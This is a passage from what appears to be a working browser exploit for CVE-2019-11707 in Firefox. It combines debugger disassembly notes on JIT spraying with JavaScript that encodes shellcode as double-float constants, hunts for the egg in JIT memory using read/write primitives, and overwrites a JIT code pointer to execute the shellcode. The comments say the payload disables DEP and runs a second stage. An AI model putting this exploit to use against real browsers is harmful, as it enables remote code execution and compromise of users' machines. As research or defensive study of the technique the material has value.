| add rsp,8 00000087EB6F538C | 48:B9 40807975083D0000 | mov rcx,3D0875798040 00000087EB6F5396 | 49:BB 0811EAFCF1000000 | mov r11,F1FCEA1108 00000087EB6F53A0 | 49:8B3B| mov rdi,qword ptr ds:[r11] 00000087EB6F53A3 | FF17 | call qword ptr ds:[rdi] ... Rather than implanting the double float constants into the JIT'd code region as an array of raw constant data, the JIT engine has created a (very large) quantity of code which manually handles each individual double float one by one (this code goes on much further than I have pasted here). You can see this at: 00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141 This is the first double float 5.40900888e-315 (the stage one shellcode egg) being loaded into RBX, where each subsequent double is treated the same. In contrast, any JIT sprayed function with less than 100 double floats yields a substantially different region of code at its JIT code pointer: 000002C6944D4470 | 48:8B4424 20 | mov rax,qword ptr ss:[rsp+20]<- JIT code pointer for JIT sprayed function points here 000002C6944D4475 | 48:C1E8 2F | shr rax,2F 000002C6944D4479 | 3D F3FF0100| cmp eax,1FFF3 000002C6944D447E | 0F85 A4060000| jne 2C6944D4B28 ... 000002C6944D4ACB | F2:0F1180 C00A0000 | movsd qword ptr ds:[rax+AC0],xmm0 000002C6944D4AD3 | F2:0F1005 6D030000 | movsd xmm0,qword ptr ds:[2C6944D4E48] 000002C6944D4ADB | F2:0F1180 C80A0000 | movsd qword ptr ds:[rax+AC8],xmm0 000002C6944D4AE3 | F2:0F1005 65030000 | movsd xmm0,qword ptr ds:[2C6944D4E50] 000002C6944D4AEB | F2:0F1180 D00A0000 | movsd qword ptr ds:[rax+AD0],xmm0 000002C6944D4AF3 | F2:0F1005 5D030000 | movsd xmm0,qword ptr ds:[2C6944D4E58] 000002C6944D4AFB | F2:0F1180 D80A0000 | movsd qword ptr ds:[rax+AD8],xmm0 000002C6944D4B03 | 48:B9 000000000080F9FF | mov rcx,FFF9800000000000 000002C6944D4B0D | C3 | ret 000002C6944D4B0E | 90 | nop 000002C6944D4B0F | 90 | nop 000002C6944D4B10 | 90 | nop 000002C6944D4B11 | 90 | nop 000002C6944D4B12 | 90 | nop 000002C6944D4B13 | 90 | nop 000002C6944D4B14 | 90 | nop 000002C6944D4B15 | 90 | nop 000002C6944D4B16 | 49:BB 30B14E5825000000 | mov r11,25584EB130 000002C6944D4B20 | 41:53| push r11 000002C6944D4B22 | E8 C9C6FBFF| call 2C6944911F0 000002C6944D4B27 | CC | int3 000002C6944D4B28 | 6A 00| push 0 000002C6944D4B2A | E9 11000000| jmp 2C6944D4B40 000002C6944D4B2F | 50 | push rax 000002C6944D4B30 | 68 20080000| push 820 000002C6944D4B35 | E8 5603FCFF| call 2C694494E90 000002C6944D4B3A | 58 | pop rax 000002C6944D4B3B | E9 85F9FFFF| jmp 2C6944D44C5 000002C6944D4B40 | 6A 00| push 0 000002C6944D4B42 | E9 D9C5FBFF| jmp 2C694491120 000002C6944D4B47 | F4 | hlt 000002C6944D4B48 | 41414141:0000| add byte ptr ds:[r8],al<- JIT sprayed egg double 000002C6944D4B4E | 0000 | add byte ptr ds:[rax],al 000002C6944D4B50 | 90 | nop<- JIT sprayed shellcode begins here 000002C6944D4B51 | 90 | nop 000002C6944D4B52 | 55 | push rbp 000002C6944D4B53 | 48:89E5| mov rbp,rsp 000002C6944D4B56 | 48:83EC 40 | sub rsp,40 000002C6944D4B5A | 48:83EC 08 | sub rsp,8 000002C6944D4B5E | 40:80E4 F7 | and spl,F7 000002C6944D4B62 | 48:B8 1122334455667788 | mov rax,8877665544332211 000002C6944D4B6C | 48:8945 C8 | mov qword ptr ss:[rbp-38],rax 000002C6944D4B70 | 48:C7C1 884E0D00 | mov rcx,D4E88 000002C6944D4B77 | E8 F9000000| call 2C6944D4C75 This then introduces another constaint on JIT spraying beyoond forcing your assembly bytecode to be 100% valid double floats. You are also limited to a maximum of 100 doubles (800 bytes) including your egg prefix. */ function JITSprayFunc(){ Egg = 5.40900888e-315; // AAAA\x00\x00\x00\x00 X1 = 58394.27801956298; X2 = -3.384548150597339e+269; X3 = -9.154525457562153e+192; X4 = 4.1005939302288804e+42; X5 = -5.954550387086224e-264; X6 = -6.202600667005017e-264; X7 = 3.739444822644755e+67; X8 = -1.2650161464211396e+258; X9 = -2.6951286493033994e+35; X10 = 1.3116505146398627e+104; X11 = -1.311379727091241e+181; X12 = 1.1053351980286266e-265; X13 = 7.66487078033362e+42; X14 = 1.6679557218696946e-235; X15 = 1.1327634929857868e+27; X16 = 6.514949632148056e-152; X17 = 3.75559130646382e+255; X18 = 8.6919639111614e-311; X19 = -1.0771492276655187e-142; X20 = 1.0596460749348558e+39; X21 = 4.4990090566228275e-228; X22 = 2.6641556100123696e+41; X23 = -3.695293685173417e+49; X24 = 7.675324624976707e-297; X25 = 5.738262935249441e+40; X26 = 4.460149175031513e+43; X27 = 8.958658002980807e-287; X28 = -1.312880373645135e+35; X29 = 4.864674571015197e+42; X30 = -2.500435320470142e+35; X31 = -2.800945285957394e+277; X32 = 1.44103957698964e+28; X33 = 3.8566513062216665e+65; X34 = 1.37405680231e-312; X35 = 1.6258034990195507e-191; X36 = 1.5008582713363865e+43; X37 = 3.1154847750709123; X38 = -6.809578792021008e+214; X39 = -7.696699288147737e+115; X40 = 3.909631192677548e+112; X41 = 1.5636948002514616e+158; X42 = -2.6295656969507476e-254; X43 = -6.001472476578534e-264; X44 = 9.25337251529007e-33; X45 = 4.419915842157561e-80; X46 = 8.07076629722016e+254; X47 = 3.736523284e-314; X48 = 3.742120352320771e+254; X49 = 1.0785207713761078e-32; X50 = -2.6374368557341455e-254; X51 = 1.2702053652464168e+145; X52 = -1.3113796337500435e+181; X53 = 1.2024564583763433e+111; X54 = 1.1326406542153807e+104; X55 = 9.646933740426927e+39; X56 = -2.5677414592270957e-254; X57 = 1.5864445474697441e+233; X58 = -2.6689139052065564e-251; X59 = 1.0555057376604044e+27; X60 = 8.364524068863995e+42; X61 = 3.382975178824556e+43; X62 = -8.511722322449098e+115; X63 = -2.2763239573787572e+271; X64 = -6.163839243926498e-264; X65 = 1.5186209005088964e+258; X66 = 7.253360348539147e-192; X67 = -1.2560830051206045e+234; X68 = 1.102849544e-314; X69 = -2.276324008154652e+271; X70 = 2.8122150524016884e-71; X71 = 5.53602304257365e-310; X72 = -6.028598990540894e-264; X73 = 1.0553922879130128e+27; X74 = -1.098771600725952e-244; X75 = -2.5574368247075522e-254; X76 = 3.618778572061404e-171; X77 = -1.4656824334476123e+40; X78 = 4.6232700581905664e+42; X79 = -3.6562604268727894e+125; X80 = -2.927408487880894e+78; X81 = 1.087942540606703e-309; X82 = 6.440226123500225e+264; X83 = 3.879424446462186e+148; X84 = 3.234472631797124e+40; X85 = 1.4186706350383543e-307; X86 = 1.2617245769382784e-234; X87 = 1.3810793979336581e+43; X88 = 1.565026152201332e+43; X89 = 5.1402745833993635e+153; X90 = 9.63e-322; } function EggHunter(TargetAddressDbl) { var ScanPtr = TargetAddressDbl; for(var i = 0; i < 1000; i++) { // 1000 QWORDs give me the most stable result. The more double float constants are in the JIT'd function, the more handler code seems to precede them. HelperDbl[0] = ScanPtr; var DblVal = StrongLeakDbl(ScanPtr); // The JIT'd ASM code being scanned is likely to contain 8 byte sequences which will not be interpreted as doubles (and will have tagged pointer bits set). Use explicit/strong primitive for these reads. if(DblVal == 5.40900888e-315) { HelperDbl[0] = ScanPtr; HelperDword[0] = HelperDword[0] + 8; // Skip over egg bytes and return precise pointer to the shellcode return HelperDbl[0]; } HelperDbl[0] = ScanPtr; HelperDword[0] = HelperDword[0] + 8; ScanPtr = HelperDbl[0]; } return 0.0; } //////// //////// // Primary high level exploit logic //////// function CVE_2019_11707() { for(var i = 0; i < JITIterations; i++) { JITSprayFunc(); // JIT spray the shellcode to a private +RX region of virtual memory } var JITCodePtr = GetJSFuncJITCodePtr(JITSprayFunc); if(JITCodePtr) { // Setup the strong read primitive for the stage one egg hunter: attempting to interpret assembly byte code as doubles via weak primitive may crash the process (tagged pointer bits could cause the read value to be dereferenced as a pointer) HelperDbl[0] = JITCodePtr; DebugLog("JIT spray code pointer is 0x" + HelperDword[1].toString(16) + HelperDword[0].toString(16)); InitStrongRWPrimitive(); ShellcodeAddress = EggHunter(JITCodePtr); // For this we need the strong read primitive since values here can start with 0xffff and thus act as tags if(ShellcodeAddress) { // Trigger code exec by calling the JIT sprayed function again. Its code pointer has been overwritten to now point to the literal shellcode data within the JIT'd function HelperDbl[0] = ShellcodeAddress; DebugLog("Shellcode pointer is 0x" + HelperDword[1].toString(16) + HelperDword[0].toString(16)); var JITInfoAddress = GetJSFuncJITInfoPtr(JITSprayFunc); WeakWriteDbl(JITInfoAddress, ShellcodeAddress); JITSprayFunc(); // Notably the location of the data in the stage two shellcode Uint8Array can be found at offset 0x40 from the start of the array object when the array is small, and when it is large a pointer to it can be found at offset 0x38 from the start of the array object. In this case though, the stage one egg hunter shellcode finds, disables DEP and ADDITIONALLY executes the stage two shellcode itself, so there is no reason to locate/execute it from JS. } else { DebugLog("Failed to resolve shellcode address"); } } } CVE_2019_11707(); </script> </body> </html> |